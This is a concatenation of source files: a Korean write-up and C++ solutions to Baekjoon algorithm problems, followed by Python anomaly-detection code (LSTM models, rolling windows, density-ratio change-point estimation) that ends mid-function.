**둘째 줄부터 N개의 줄에 공간의 상태가 주어진다. 공간의 상태는 0, 1, 2, 3, 4, 5, 6, 9로 이루어져 있고, 아래와 같은 의미를 가진다.**
- 0: 빈 칸
- 1, 2, 3, 4, 5, 6: 칸에 있는 물고기의 크기
- 9: 아기 상어의 위치
아기 상어는 공간에 한 마리 있다.
## 풀이
bfs와 우선순위 큐를 활용한 문제이다. bfs를 한번 돌면서 배열의 상태값이 주어진 주건에 따라 계속 변하기 때문에 이를 유의하도록 하자.
또한, 아기상어 및 물고기가 가지는 상태값이 여러개 존재하므로, 관리하기 쉽게 구조체 혹은 클래스를 만들도록 한다. (구조체로 진행)
시간복잡도는 현재 상어위치에서 bfs탐색 할 경우 n^2, 해당 bfs를 최대 n^2번(조건에 맞는 물고기 수가 최대인 경우) 수행할 수 있으므로, O(n^4)이 된다. n은 최대 20이므로, 최악의 경우 20^4 = 16만 정도 되므로 시간은 충분하다.
먼저, 물고기 및 상어의 상황을 나타내는 2차원 배열을 입력 받도록 한다. 이때, 배열값이 9인 경우 해당 배열의 위치(y,x)를 상어 위치값에 저장하도록 한다.
상어의 위치를 알았으므로, 해당 위치부터 bfs탐색을 시작한다. 이때, 상어의 사이즈보다 작은 물고기들을 찾고 최소거리를 해당 물고기의 거리 상태값에 저장하도록 한다. 또한, 우선순위 큐에 해당 물고기 객체를 저장한다.
이때, 정렬기준이 정말 중요하다. 이미 우선순위 큐에 들어가는 물고기들은 아기상어가 먹을 수 있는 물고기들이기 때문에 크기 조건은 만족한다. 따라서 정렬기준은 다음과 같다.
1. 거리순
2. 거리가 같다면, y좌표가 작은 순
3. y좌표가 같다면, x좌표가 작은 순
구조체 정렬은 구조체 타입의 cmp를 따로 만들어, 연산자 오버로딩을 해야한다.
~~~
struct cmp {
bool operator()(Fish &f1, Fish &f2) {
if (f1.dist == f2.dist) {
if (f1.y == f2.y) {
return f1.x > f2.x;
}
return f1.y > f2.y;
}
return f1.dist > f2.dist;
}
};
~~~
해당 정렬 기준을 우선순위 큐에 적용하고싶다면, 우선순위 큐 정의를 다음과 같이 하도록 한다.
~~~
priority_queue<Fish, vector<Fish>, cmp> pq;
~~~
결국, 우선순위 큐의 맨 앞에있는 물고기가 현재 아기상어가 먹을 수 있는 물고기가 되는 것이다. 다음 bfs를 위해 해당 물고기의 좌표값을 아기상어 좌표값에 대입하도록 한다. 또한, 물고기가 가지고 있는 최소 거리값을 아기상어의 총 이동거리값에 더해주도록 한다.
위를 반복해주며 bfs탐색을 진행한다. 우선순위 큐에 더 이상 물고기가 안들어 갈 경우, 먹을 수 있는 물고기가 없다는 뜻이므로 종료조건이 된다.
bfs 한 회가 끝나면, visit, dist 배열을 초기화 하는것을 잊지 말자. (memset으로 초기화 하면 빠르다.)
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EC%95%84%EA%B8%B0%EC%83%81%EC%96%B4(16236).cpp)
## 부족한 부분
2018 하반기 삼성전자 문제였다. (물론 나는 삼성sds 시험을 보았지만..) 이 문제는 그렇게 어려운 편이 아니였던 것 같다.
2차원 배열에 존재하는 모든 물고기의 최소거리(시간)를 구하는 문구에서 bfs를 떠올렸고, 상어와 물고기의 상태값을 편하게 관리하기 위해 구조체를 떠올렸다. 또한, 아기상어가 먹을 수 있는 물고기 중 우선순위 조건이 여러개 있으므로, 우선순위 큐를 이용하였다. 이때 반드시 정렬기준을 조건에 맞게 만들도록 했다.
총 1시간 반 정도 걸린 것 같다. 1시간만에 구현을 끝냈지만, 중간에 상어의 크기가 1증가하면, 상어가 먹은 물고기의 개수는 0으로 초기화 해야하는데, 해당 작업을 안해서 30분정도 디버깅하는데 애먹었다.
항상 복잡한 알고리즘을 구현하다 보면, 한 두개 조건을 빼먹어서 디버깅하는데 시간을 낭비하는 경우가 많다.
이를 방지하기 위해 노트에 조건을 적으려고 노력한다. 그러나 코딩을 하다보면 수정해야 하는 부분이 발생하고 (노트에 적은 조건이 필요없어지거나, 간과한 조건이 있을 경우) 코드를 수정하는 과정에서 놓치는 부분이 발생한다.
왜 테스트 코드를 작성하면서 코딩하는지 매번 깨닫게 된다.
(근데 막상 알고리즘 시험을 보면, 시간에 쫓겨 잘 안하게 되는.. )
## 내일 할 일
- 삼성 알고리즘 2문제
- 이력서 준비<file_sep>/baekjoon/저작권(2914).cpp
#include <iostream>
using namespace std;
int A, I;
int main() {
scanf("%d %d", &A, &I);
printf("%d", A*(I - 1) + 1);
return 0;
}
//앨범 수록 곡 개수 x (평균-1) 인 멜로디의 개수(S)의 평균은 원하는 평균의 -1한 값을 의미하므로
//올림을 통해 원하고자 하는 평균을 구하려면 적어도 S+1 이상의 멜로디 개수를 가져야 한다<file_sep>/baekjoon/DFS n BFS.cpp
#include <iostream>
#include <queue>
#include <string.h>
using namespace std;
int N, M, V;
int arr[1001][1001];
bool isVisit[1001];
void input() {
cin >> N >> M >> V;
int y, x;
for (int i = 0; i < M; i++) {
cin >> y >> x;
arr[y][x] = arr[x][y] = 1;
}
}
void dfs(int cur) {
cout << cur << ' ';
isVisit[cur] = true;
for (int i = 1; i <= N; i++) {
if (arr[cur][i] == 1 && !isVisit[i]) dfs(i);
}
}
void bfs(int start) {
queue<int> q;
q.push(start);
isVisit[start] = true;
while (!q.empty()) {
int cur = q.front(); q.pop();
cout << cur << ' ';
for (int i = 1; i <= N; i++) {
if (arr[cur][i] == 1 && !isVisit[i]) {
q.push(i);
isVisit[i] = true;
}
}
}
}
void findAns() {
dfs(V);
cout << '\n';
memset(isVisit, false, sizeof(isVisit));
bfs(V);
}
int main() {
ios_base::sync_with_stdio(false);
input();
findAns();
return 0;
}<file_sep>/baekjoon/구간 합 구하기(2042).cpp
#include <iostream>
#define MAX 1000000
using namespace std;
int n, m, k;
long long tree[MAX * 3];
int initTree() {
for (int i = 1; i < 3 * n; i++) {
tree[i] = 0;
}
int s = 1;
while (s < n) s *= 2;
return s;
}
void update(int node, long long newVal) {
while (node > 0) {
tree[node] += newVal;
node /= 2; //부모노드 업데이트
}
}
long long sum(int start, int end) {
long long r = 0;
while (start <= end) {
if (start % 2 == 1) r += tree[start]; //구간합 첫 노드가 홀수번 째(오른쪽 노드라면)
if (end % 2 == 0) r += tree[end]; //구간합 마지막 노드가 짝수번 째(왼쪽 노드라면)
start = (start + 1) / 2;
end = (end - 1) / 2;
}
return r;
}
int main() {
scanf("%d %d %d", &n, &m, &k);
int firstidx = initTree(); //트리 초기화
for (int i = 0; i < n; i++) {
scanf("%lld", &tree[firstidx + i]);
}
//트리 구성
for (int i = firstidx - 1; i > 0; i--) {
tree[i] = tree[i * 2] + tree[i * 2 + 1];
}
for (int i = 0; i < m + k; i++) {
int a, b, c;
scanf("%d %d %d", &a, &b, &c);
if (a == 1) {
update(firstidx + b - 1, c - tree[firstidx + b - 1]);
}
else {
printf("%lld\n", sum(firstidx + b - 1, firstidx + c - 1));
}
}
return 0;
}<file_sep>/baekjoon/swea_새샘이의 7-3-5 게임(5948).cpp
#include <iostream>
#include <vector>
#include <algorithm>
#include <string.h>
#include <set>
using namespace std;
int tc;
int arr[7];
bool visit[7];
void dfs(int idx, int cnt, int sum, set<int, greater<int> > &s) {
if (cnt == 3) {
s.insert(sum);
return;
}
for (int cur = idx; cur < 7; cur++) {
if (!visit[cur]) {
visit[cur] = true;
dfs(cur + 1, cnt + 1, sum + arr[cur], s);
visit[cur] = false;
}
}
}
void findAns(int testCase) {
set<int, greater<int> > s;
memset(visit, false, sizeof(visit));
for (int i = 0; i < 7; i++) scanf("%d", &arr[i]);
dfs(0, 0, 0, s);
printf("#%d %d\n", testCase, *next(s.begin(), 4));
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
findAns(t);
}
return 0;
}<file_sep>/baekjoon/암호 만들기(1759).cpp
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <unordered_map>
using namespace std;
int L, C;
vector<char> alphabet;
unordered_map<char, bool> vowel;
void dfs(int idx, int cnt, int vowelCnt, int consonantCnt, string result) {
if (cnt == L) {
if (vowelCnt < 1 || consonantCnt < 2) return;
cout << result << '\n';
return;
}
for (int cur = idx; cur < C; cur++) {
if (vowel.count(alphabet[cur])) {
dfs(cur + 1, cnt + 1, vowelCnt + 1, consonantCnt, result + alphabet[cur]);
}
else dfs(cur + 1, cnt + 1, vowelCnt, consonantCnt + 1, result + alphabet[cur]);
}
}
void initVowel() {
vowel['a'] = true;
vowel['e'] = true;
vowel['i'] = true;
vowel['o'] = true;
vowel['u'] = true;
}
void findAns() {
initVowel();
char c;
for (int i = 0; i < C; i++) {
cin >> c;
alphabet.push_back(c);
}
sort(alphabet.begin(), alphabet.end());
dfs(0, 0, 0, 0, "");
}
int main() {
cin >> L >> C;
findAns();
return 0;
}<file_sep>/baekjoon/소수의 연속합(1644).cpp
#include <iostream>
#include <vector>
using namespace std;
int N;
bool isNotPrime[4000001];
vector<int> prime;
void erase(int num) {
for (int i = num; i <= N; i += num) isNotPrime[i] = true;
}
void getPrime() {
for (int i = 2; i <= N; i++) {
if (!isNotPrime[i]) {
erase(i);
prime.push_back(i);
}
}
}
void output() {
for (int val : prime) cout << val << ' ';
}
int findAns() {
int cnt = 0, s = 0, e = 0, sum = 0;
int range = prime.size();
while (s <= e) {
if (sum == N) {
cnt++;
sum -= prime[s++];
continue;
}
if (sum > N) {
sum -= prime[s++];
continue;
}
if (e == range) return cnt;
if (sum < N) sum += prime[e++];
}
return cnt;
}
int main() {
cin >> N;
getPrime();
cout << findAns();
return 0;
}<file_sep>/baekjoon/민균이의 비밀번호(9933).cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;
struct Ans
{
int length;
char mid;
};
int N;
vector<string> v;
Ans ans;
bool isPassword(string word) {
string tmp = "";
for (int i = word.size() - 1; i >= 0; i--) {
tmp += word[i];
}
for (string word : v) {
if (word == tmp) return true;
}
return false;
}
void findAns() {
for (string word : v) {
if (isPassword(word)) {
ans.length = word.size();
ans.mid = word[ans.length /2];
return;
}
}
}
int main() {
string input = "";
cin >> N;
for (int i = 0; i < N; i++) {
cin >> input;
v.push_back(input);
}
findAns();
cout << ans.length << ' ' << ans.mid;
return 0;
}<file_sep>/baekjoon/0 = not cute 1 = cute (10886).cpp
#include <iostream>
#include <string>
#define CUTE "Junhee is cute!"
#define NOTCUTE "Junhee is not cute!"
using namespace std;
int N;
string findAns() {
int x, cute = 0;
for (int i = 0; i < N; i++) {
cin >> x;
if (x) cute++;
}
return cute > N - cute ? CUTE : NOTCUTE;
}
int main() {
cin >> N;
cout << findAns();
return 0;
}<file_sep>/baekjoon/퇴사(14501).cpp
//#include <iostream>
//#include <vector>
//#include <utility>
//
//using namespace std;
//
//int N;
//int maxProfit = -2e9;
//vector<pair<int, int> > v;
//
//void findAns(int now, int sum) {
// if (now >= N) {
// maxProfit = sum > maxProfit ? sum : maxProfit;
// return;
// }
// for (int i = now; i < N; i++) {
// if (i + v[i].first <= N) {
// findAns(i + v[i].first, sum + v[i].second);
// }
// findAns(i + v[i].first, sum);
// }
//}
//
//int main() {
// cin >> N;
// for (int i = 0; i < N; i++) {
// int y, x;
// cin >> y >> x;
// v.push_back(make_pair(y, x));
// }
// //answer
// findAns(0, 0);
// cout << maxProfit;
//}<file_sep>/baekjoon/보물섬(2589).cpp
#include <iostream>
#include <queue>
#include <string.h>
using namespace std;
int N, M, ans = -2e9;
char arr[51][51];
int dist[51][51];
bool visited[51][51];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
struct pos {
int y, x;
pos(int y, int x) {
this->y = y;
this->x = x;
}
pos() {}
};
queue <pos> q;
void bfs(pos p) {
int cnt = 0;
q.push(p);
while (!q.empty()) {
pos cur = q.front();
q.pop();
for (int i = 0; i < 4; i++) {
int my = cur.y + dy[i];
int mx = cur.x + dx[i];
if (my < 0 || mx < 0 || my >= N || mx >= M) continue;
if (arr[my][mx] == 'L' && visited[my][mx] == false) {
q.push(pos(my, mx));
visited[my][mx] = true;
dist[my][mx] = dist[cur.y][cur.x] + 1;
cnt = cnt < dist[my][mx] ? dist[my][mx] : cnt;
}
}
}
ans = ans < cnt ? cnt : ans;
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf(" %c", &arr[i][j]); //scanf 문자로 받으면, 엔터값도 문자로 받게 되서 입력 에러 발생 %c 앞에 공백을 추가하면 white space를 구분자로 인식해서 해결됨
}
}
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (arr[i][j] == 'L' && visited[i][j] == false) {
visited[i][j] = true;
bfs(pos(i, j));
memset(visited, false, sizeof(visited));
memset(dist, 0, sizeof(dist));
}
}
}
printf("%d", ans);
return 0;
}
|
b9fa1febba8608bb8308dd397abf0d1ba4e68e42
|
[
"Markdown",
"C++"
] | 238 |
C++
|
foreverever/baekjoon
|
4ca4bd6ef72051285d9a750bd4bb6c6310015242
|
bde59c630183b128e8f377ec9ee513f74c6e6b31
|
refs/heads/master
|
<repo_name>RSIP4SH/anomaly-detection<file_sep>/src/models/prediction/models.py
import copy
from collections import OrderedDict
from itertools import zip_longest
import numpy as np
from tqdm import tqdm
import torch
from torch.utils.tensorboard import SummaryWriter
class TimeDistributed(torch.nn.Module):
def __init__(self, module, batch_first=False):
super(TimeDistributed, self).__init__()
self.module = module
self.batch_first = batch_first
def forward(self, x):
if len(x.size()) <= 2:
return self.module(x)
# Squash samples and timesteps into a single axis
x_reshape = x.contiguous().view(-1, x.size(-1)) # (samples * timesteps, input_size)
y = self.module(x_reshape)
# We have to reshape Y
if self.batch_first:
y = y.contiguous().view(x.size(0), -1, y.size(-1)) # (samples, timesteps, output_size)
else:
y = y.view(-1, x.size(1), y.size(-1)) # (timesteps, samples, output_size)
return y
class LSTM(torch.nn.Module):
def __init__(self,
stateful,
transform=None,
inp_stddev=0.2,
layers_stddev=0,
**config):
"""
transform: torch.nn.Module
Specifies module that will be used to transform
from hidden_size of LSTM. Note that this module will be used
over TimeDistributed analogue of Keras
inp_stddev: float
specifies standard deviatino of gaussian noise added to input
layers_stddev: float
is analogue of inp_stddev but for between layer connections
(doesn't apply to communications in transform)
"""
super(LSTM, self).__init__()
self.transform_used = transform is not None
self.stateful = stateful
self.inp_stddev = inp_stddev
self.layers_stddev = layers_stddev
self.num_layers = config.pop('num_layers', 1)
self.num_directions = (2 if config.get('bidirectional', False) else 1)
inp_sizes = [config.pop('input_size')] + [config.get('hidden_size') * self.num_directions] * (self.num_layers - 1)
self.lstm = torch.nn.ModuleList()
for sz in inp_sizes:
self.lstm.append(torch.nn.LSTM(input_size=sz, **config))
if self.transform_used:
self.td = TimeDistributed(transform, config.get('batch_first', False))
self.outs = {}
self.cell_states = None
def _add_gaussian(self, inp, stddev):
if stddev > 0 and self.training:
return inp + torch.autograd.Variable(torch.randn(inp.size()) * stddev)
return inp
def lstm_forward(self, input, initial=None):
out = input
hns, cns = [], []
if not initial:
initial = []
for i, (lstm, init) in enumerate(zip_longest(self.lstm, zip(*initial))):
out, (hn, cn) = lstm(out, init)
if i != len(self.lstm) - 1 or self.transform_used:
out = self._add_gaussian(out, self.layers_stddev)
hns.append(hn)
cns.append(cn)
return out, (hns, cns)
def forward(self, input, initial=None, last_only=False):
"""
Last_only characterizes whether to return value only
in time stamp t of LSTM or return sequence of timestamps
"""
input = self._add_gaussian(input, self.inp_stddev)
out, (hn, cn) = self.lstm_forward(input, initial)
self.outs = OrderedDict([('lstm_' + str(n), h) for n, h in enumerate(hn)])
self.cell_states = cn
if last_only:
out = out[:, -1]
if self.transform_used:
out = self.td(out)
self.outs.update(transform=out)
return out
def reset_states(self):
self.outs = None
self.cell_states = None
def get_prev_states(self, batch_size):
outs = self.outs
if not self.stateful or (self.cell_states is None and not outs):
return None
keys = outs.keys()
hn = []
for key in keys:
if 'lstm' in key:
hn.append(outs[key][:, :batch_size].detach())
cn = [0] * len(self.cell_states)
for i in range(len(self.cell_states)):
cn[i] = self.cell_states[i][:, :batch_size].detach()
return (hn, cn)
def forecast(self, X, batch_size):
"""
Forecasts value at next time, having previous windows_len examples
If a model stateful, then i-th example of next batch wiil be
use the hidden and cell states from i-th example from previous batch
"""
self.eval()
pred = torch.zeros((0, self.td.module.out_features))
for i in tqdm(range(0, len(X), batch_size)):
sz = min(len(X)-i, batch_size)
inp = torch.tensor(X[i:i+sz]).float()
states = self.get_prev_states(sz)
pred = torch.cat((pred, self.forward(inp, states, True)), dim=0)
return pred
class RunningLoss:
def __init__(self):
self.losses = []
def update(self, loss, size):
self.losses += [loss] * size
def avg(self):
return np.mean(self.losses)
class Trainer:
def __init__(self, model, criterion, optimizer, scheduler,
device, log_dir, hparams):
self.sw = SummaryWriter(log_dir)
self.model = model.to(device)
self.criterion = criterion
self.optimizer = optimizer
self.scheduler = scheduler
self.device = device
self.stateful = model.stateful
self.epochs = 0
self.hparams = hparams
def forward(self, inputs):
if not self.stateful or self.model.cell_states is None:
return self.model(inputs)
prev = self.model.get_prev_states(inputs.size(0))
return self.model(inputs, prev)
def pass_one_epoch(self, data, epoch, is_train):
model = self.model
sw = self.sw
optimizer = self.optimizer
self.running_loss = RunningLoss()
if is_train:
model.train()
else:
model.eval()
outputs, grads, weights = {}, {}, {}
with tqdm(data) as pbar:
pbar.set_description('Epoch ' + str(epoch) + ' of ' +
('train: ' if is_train else 'val: '))
for inputs, true in pbar:
inputs = inputs.to(self.device)
true = true.to(self.device)
if is_train:
optimizer.zero_grad()
output = self.forward(inputs)
loss = self.criterion(output, true)
pbar.set_postfix(loss=loss.item())
self.running_loss.update(loss.item(), inputs.size(0))
loss.backward()
if is_train:
optimizer.step()
else:
for name, out in model.outs.items():
outputs[name] = outputs.get(name, [])
outputs[name].extend(out.view(-1).detach().numpy())
for name, param in model.named_parameters():
grads[name] = grads.get(name, [])
grads[name].extend(param.grad.view(-1).numpy())
weights[name] = weights.get(name, [])
weights[name].extend(param.view(-1).detach().numpy())
if is_train:
sw.add_scalar('Loss/train', self.running_loss.avg(), epoch)
else:
sw.add_scalar('Loss/test', self.running_loss.avg(), epoch)
for name in outputs:
sw.add_histogram('Outputs/' + name, np.array(outputs[name]), epoch)
for name in grads:
sw.add_histogram('Grads/' + name, np.array(grads[name]), epoch)
sw.add_histogram('Weigths/' + name, np.array(weights[name]), epoch)
def train(self, data, val_data, num_epochs):
best_model_wts = copy.deepcopy(self.model.state_dict())
best_loss = 1e9
for epoch in range(num_epochs):
epoch += self.epochs
print(f'Epoch {epoch}/{self.epochs + num_epochs - 1}')
print('-' * 10)
self.pass_one_epoch(data, epoch, is_train=True)
self.model.reset_states()
self.pass_one_epoch(val_data, epoch, is_train=False)
self.model.reset_states()
avg_loss = self.running_loss.avg()
self.scheduler.step(avg_loss)
print('Loss: {:.4f}'.format(avg_loss))
# deep copy the model
if avg_loss < best_loss:
best_loss = avg_loss
best_model_wts = copy.deepcopy(self.model.state_dict())
print()
self.best_loss = best_loss
self.sw.add_hparams(self.hparams, {'best_loss': best_loss})
# load best model weights
self.model.load_state_dict(best_model_wts)
self.epochs += num_epochs
<file_sep>/src/features/build_features.py
import numpy as np
import pandas as pd
def rolling_window(data, window_length, shift=0):
if isinstance(data, pd.DataFrame):
data = data.to_numpy()
return [
np.ndarray.view(data[i - window_length:i])
for i in range(window_length + shift, data.shape[0]+1)
]<file_sep>/src/models/anomalies/lstm.py
import numpy as np
import pandas as pd
from keras import Sequential
from keras.layers import LSTM, Dropout, Dense, TimeDistributed
from keras.regularizers import l2
from src.data.generate import insert_anomalies
from src.features.build_features import rolling_window
def build_lstm(input_length, input_shape, lstm_layers_size, optimizer,
reg_strength=0.01, dropout_coeff=0.1, **compile_attrs):
"""
Builds lstm model with hidden layers of size `layers_size`.
Returns values with shape (input_length, input_shape).
Loss by default is `mae` and added to compile_attrs
"""
model = Sequential()
model.add(LSTM(
lstm_layers_size[0],
input_shape=(input_length, input_shape),
return_sequences=True,
kernel_regularizer=l2(reg_strength)
))
for size in lstm_layers_size[1:]:
if 0 < dropout_coeff < 1:
model.add(Dropout(dropout_coeff))
model.add(LSTM(
size,
return_sequences=True,
kernel_regularizer=l2(reg_strength),
))
# For equivalent transformation `embeddings` to real values
model.add(TimeDistributed(Dense(input_shape, kernel_regularizer=l2(reg_strength))))
compile_attrs['optimizer'] = optimizer
compile_attrs['loss'] = compile_attrs.get('loss', 'mae')
model.compile(**compile_attrs)
return model
def find_anomaly(differences, treshold):
return np.where(differences > treshold)[0]
def fit_generator(X, y, batch_size=64):
while True:
idxs = np.random.randint(len(X), size=batch_size)
yield np.take(X, idxs, axis=0), np.take(y, idxs, axis=0)
def predict_generator(X, batch_size=64):
for i in range(0, len(X), batch_size):
yield np.array(X[i:i+batch_size])
def compute_diff(model, X, y):
prediction = model.predict_generator(predict_generator(X), steps=(len(X)+64-1)//64)
return np.abs(y-prediction).sum(axis=2).sum(axis=1)
def recall_of_tresh(window_diffs, true_idxs, window_length):
recalls = []
pred_anom_segment = np.zeros(len(window_diffs), dtype=int)
treshs = list(reversed(np.sort(window_diffs)))
for tresh in treshs:
start_idx = np.where(window_diffs == tresh)[0][0]
pred_anom_segment[start_idx:start_idx + window_length] = 1
recall = (
(true_idxs == pred_anom_segment) &
(true_idxs == 1)).sum() / true_idxs.sum()
recalls.append(recall)
return treshs, recalls
def intersection_over_true(max_len, anom_start_idxs, anom_lens, pred_idxs, window_length, score_function):
"""
Recall
"""
really_anom_segment = np.zeros(max_len)
for left, l in zip(anom_start_idxs, anom_lens):
really_anom_segment[left:left+l] = 1
pred_anom_segment = np.zeros(max_len)
for left in pred_idxs:
pred_anom_segment[left:left+window_length] = 1
return score_function(really_anom_segment, pred_anom_segment)
def find_optimal_tresh(model, X, y, anoms_dataset_shape, window_length, prediction_len, plot=False):
"""
param `X` and `y` is the normal data, on which `model` was trained
"""
anom_dataset = np.random.randn(*anoms_dataset_shape)
anom, _ = insert_anomalies(anom_dataset, np.prod(anoms_dataset_shape[1:]) if len(anoms_dataset_shape) > 1 else 1, axis=0)
X_anom = rolling_window(anom, window_length)[:-prediction_len]
anom_diffs = compute_diff(model, X_anom, y)
anom_treshs, anom_recalls = recall_of_tresh(anom_diffs, np.ones_like(anom_diffs), window_length)
normal_diffs = compute_diff(model, X, y)
norm_recalls = []
for tresh in anom_treshs:
recall = (normal_diffs < tresh).sum() / normal_diffs.shape[0]
norm_recalls.append(recall)
optimum = anom_treshs[np.argmin(np.abs(np.array(anom_recalls) - np.array(norm_recalls)))]
if plot:
import matplotlib.pyplot as plt
plt.figure(figsize=(12, 8))
plt.plot(anom_treshs, anom_recalls, label='Только сгенерированные аномалии')
plt.plot(anom_treshs, norm_recalls, label='Только нормальные данные')
plt.vlines(optimum, 0, 1, linestyles='dashed', label='Оптимум')
plt.title(f'Оптимум - {optimum:.2f}')
plt.xlabel('Порог')
plt.ylabel('Доля корректных')
plt.legend()
plt.show()
return optimum<file_sep>/src/models/anomalies/__init__.py
from .autoencoder import (
create_autoencoder,
build_autoencoder,
build_matrix_autoencoder
)
from .lstm import (
build_lstm,
find_anomaly,
fit_generator,
predict_generator,
compute_diff,
recall_of_tresh,
intersection_over_true,
find_optimal_tresh
)
<file_sep>/src/models/prediction/__init__.py
from .models import (
LSTM,
Trainer
)
<file_sep>/src/models/DDRE.py
# Implementation of Direct Density-Ratio Estimation (see referehces/kawahara2009.pdf)
import math
from multiprocessing import cpu_count
import numpy as np
import pandas as pd
from scipy.signal import find_peaks
import numba as nb
from sklearn.preprocessing import StandardScaler
from src.utils import inverse_ids
from src.features.build_features import rolling_window
@nb.jit(nopython=True)
def gaussian_kernel_function(Y1, Y2, sigma):
return np.exp(-np.linalg.norm(Y1 - Y2)**2 / (2 * sigma**2))
cpu_cnt = cpu_count()
_spec = [
('sigma', nb.float64),
('Y', nb.float64[:, :]),
('k', nb.int32),
('window_width', nb.int64),
('last_procceed', nb.int64),
('n_rf_te', nb.int32),
('alphas', nb.float64[:]),
('b', nb.float64[:])
]
@nb.jitclass(_spec)
class DensityRatioEstimation:
def __init__(self, sigma, window_width, n_rf_te):
self.sigma = sigma
self.Y = np.array([[0.]], dtype=np.float64)
self.window_width = window_width
self.last_procceed = 0
self.n_rf_te = n_rf_te
self.alphas = np.array([0.], dtype=np.float64)
self.b = np.array([0.], dtype=np.float64)
def get_rf(self, shift):
return self.Y[self.last_procceed + shift : self.last_procceed + self.window_width + shift]
def get_te(self, shift):
return self.get_rf(self.n_rf_te + self.window_width - 1 + shift)
def _feasibility(self):
"""
Performs feasibility satisfaction
"""
a = (1 - np.dot(self.b.T, self.alphas)) * self.b
a /= (np.dot(self.b.T, self.b))
self.alphas += a
self.alphas = np.maximum(0, self.alphas)
self.alphas = self.alphas / np.dot(self.b.T, self.alphas)
def _compute_b(self):
b = np.zeros(self.n_rf_te, dtype=np.float64)
for l in range(self.n_rf_te):
s = 0.
for i in range(self.n_rf_te):
s += gaussian_kernel_function(self.get_rf(i), self.get_te(l), self.sigma)
b[l] = s / self.n_rf_te
self.b = b
def build(self, Y, eps=0.001, min_delta=0.01, iterations=100):
"""
param `Y` is a multidimensional time-series with shape (n, d)
param `eps` is 'lerning_rate' for alphas
param `min_delta` is minimal value of difference, regarded as improvement
param `iterations` is maximum amount of iterations used to find proper alphas
"""
self.Y = Y
n_rf_te = np.int64(self.n_rf_te)
K = np.zeros((n_rf_te, n_rf_te), dtype=np.float64)
for i in range(n_rf_te):
for l in range(n_rf_te):
K[i, l] = gaussian_kernel_function(self.get_te(i), self.get_te(l), self.sigma)
self._compute_b()
self.alphas = np.random.rand(n_rf_te).astype(np.float64)
for _ in range(iterations):
prev_alphas = self.alphas.copy()
# Perform gradient ascent
temp = eps * np.dot(K.T, np.dot((1. / K).astype(np.float64), self.alphas))
self.alphas += temp
self._feasibility()
if np.linalg.norm(self.alphas - prev_alphas) < min_delta:
break
def compute_ratio_one_window(self, Y):
res = np.zeros_like(self.alphas)
for i in range(self.alphas.shape[0]):
res[i] = gaussian_kernel_function(Y, self.get_te(i), self.sigma)
res *= self.alphas
return np.sum(res)
def compute_likelihood_ratio(self):
ratios = np.zeros(self.n_rf_te, dtype=np.float64)
for i in range(self.n_rf_te):
ratios[i] = self.compute_ratio_one_window(self.get_te(i))
return np.sum(np.log(ratios))
def compute_ratio_windows(self, Y):
"""
Y need to has shape (n + window_width, d)
"""
ratios = np.zeros(Y.shape[0] - self.window_width, dtype=np.float64)
for i in range(self.window_width, Y.shape[0]):
ratios[i-self.window_width] = self.compute_ratio_one_window(Y[i-self.window_width:i])
return ratios
def update_by_next_sample(self, learning_rate, reg_parameter):
"""
Updates model by using next sample from data
param `learning_rate` is the learning rate that controls the adaptation sensitivity to the new sample
param `reg_parameter` is the regularization parameter
"""
if self.last_procceed + 2 * self.n_rf_te + 2 * self.window_width - 1 >= self.Y.shape[0]:
print("Cannot update by next sample. Last sample already was used")
return
self.last_procceed += 1
new_alphas = np.zeros_like(self.alphas)
new_alphas[:-1] = (1 - learning_rate * reg_parameter) * self.alphas[1:]
new_alphas[-1] = learning_rate / self.compute_ratio_one_window(self.get_te(self.n_rf_te))
self.alphas = new_alphas
self._compute_b()
self._feasibility()
@nb.njit(parallel=True)
def kernel_sigma_selection(df, window_width, candidates, chunk_size, R=3):
"""
Selects optimal gaussian width (standard deviation).
param `df` is a dataframe with shape (n, d)
param `window_width` is the setted rolling window size
param `candidates` is the candidates from which will be found optimal sigma
param `chunk_size` is the size of chunk used in cross-validation
param `R` characterize the number of splits in cross_validation
The first chunk would be used as reference sample. And others `R-1` as test in cross-validation
"""
if len(candidates) == 1:
return np.zeros(0, dtype=np.float64), candidates[0]
needed_n = chunk_size * (2 * R - 1) + 2 * window_width
assert needed_n <= df.shape[0]
df = df.copy()[:needed_n]
Y_rf = df[:(R - 1) * chunk_size + window_width]
Y_te_arrays = df[(R - 1) * chunk_size + window_width:]
J = np.zeros(len(candidates), dtype=np.float64)
for i in nb.prange(len(candidates)):
dre = DensityRatioEstimation(candidates[i], window_width, chunk_size * (R - 1))
J_r = np.zeros(R)
for r in range(R):
Y_ = np.concatenate((Y_rf, np.vstack((Y_te_arrays[:r*chunk_size+window_width], Y_te_arrays[(r+1)*chunk_size+window_width:]))), axis=0)
dre.build(Y_)
ratios = dre.compute_ratio_windows(Y_te_arrays[r*chunk_size: (r+1)*chunk_size+window_width])
J_r[r] = np.mean(np.log(ratios))
J[i] = np.mean(J_r)
J[np.isnan(J)] = -2e9
optimal_idx = np.argmax(J)
print('Optimal sigma is:', candidates[optimal_idx])
return J, candidates[optimal_idx]
@nb.njit(parallel=True)
def ddre_ratios(df,
window_width,
sigma,
n_rf_te=32,
eps=0.001, min_delta=0.01, iterations=100,
learning_rate=1, reg_parameter=0.01,
tresh=-1,
verbose=False,
chunks=-1):
"""
Computes ratios over all `df` with shape (n, d). It need to be the numpy array, not pd.DataFrame!
param `window_width` is a width of rolling window
param `sigma` is the standard deviation of gaussian kernel function
param `n_rf_te` characterizes the number of reference and test samples
param `eps`, `min_delta`, `iteratios` used in DDRE building
param `learning_rate`, `reg_parameter` used in parameter updating of DDRE model
param `tresh` is treshold from original paper (if it is -1, then it is ignored)
param `verbose` characterize whether to print progress every 5%
param `chunks` is the number of threads used for computation. If it is equal to `-1` then amount of chunks would be seleceted automaticly
Returns:
`ratios` - is a computed ratios of probability densities
`change_points` - indexes of changing. This is not empty if you specified right `tresh`
"""
n = df.shape[0]
ratios = np.zeros(n, dtype=np.float64)
change_points = []
chunks_ = cpu_cnt
piece_size = n // chunks_
pieces_cnt = n // piece_size
# set minimal piece length to two minimal lengths needed for DDRE
minimal_length = 2 * (n_rf_te * 2 + window_width * 2)
